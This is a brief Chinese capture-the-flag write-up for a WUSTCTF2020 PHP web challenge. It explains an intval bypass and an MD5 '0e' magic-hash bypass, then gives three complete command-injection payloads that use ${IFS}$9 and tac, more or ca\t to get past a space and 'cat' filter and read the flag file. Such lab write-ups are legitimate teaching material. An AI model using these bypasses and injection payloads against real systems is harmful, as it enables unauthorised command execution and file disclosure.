[WUSTCTF2020]朴实无华1
进入环境就叫我hack它,主要是这个网页名称是什么东西,看不懂,源码也没什么提示,尝试扫描后台
扫出来一个robots.php,尝试访问访问后,又得到一个路径
访问后会得到一个假的flag
在开发者工具中,找到可疑路径
得到一串源码,不过有些字是乱码
应该是字符编码的问题,百度了一个插件 charset
修改为utf-8后,就不会出现乱码了
代码中首先要绕过的是intval函数,这里又涉及到一个intval函数的性质
此函数在处理数据时会在接触到字符串时停止,因此如果输入100e2之类的数据,会解释成100,但后面在执行+1时,100e2是科学计数法,所以会解析成10000,因此此处使用100e2绕过
第二处要传入的参数与其MD5值相等
md5=0e215962017
绕过成功
最后一处需要绕过的地方是,strstr的字符串匹配,这里的意思是检测$get_flag中是否存在空格,如果不存在就将其中的cat替换为wctf2020
中心思想就是过滤空格和cat
直接先利用ls查看文件,前面的都是访问过的,所以我们把目光放在这个奇特的名称文件上,过滤了空格我们可以采取 ${IFS}$9绕过,而且我们执行命令也不止一个cat能查看文件
以下这三种都可以
num=100e2&md5=0e215962017&get_flag=more${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=100e2&md5=0e215962017&get_flag=tac${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=100e2&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
绕过成功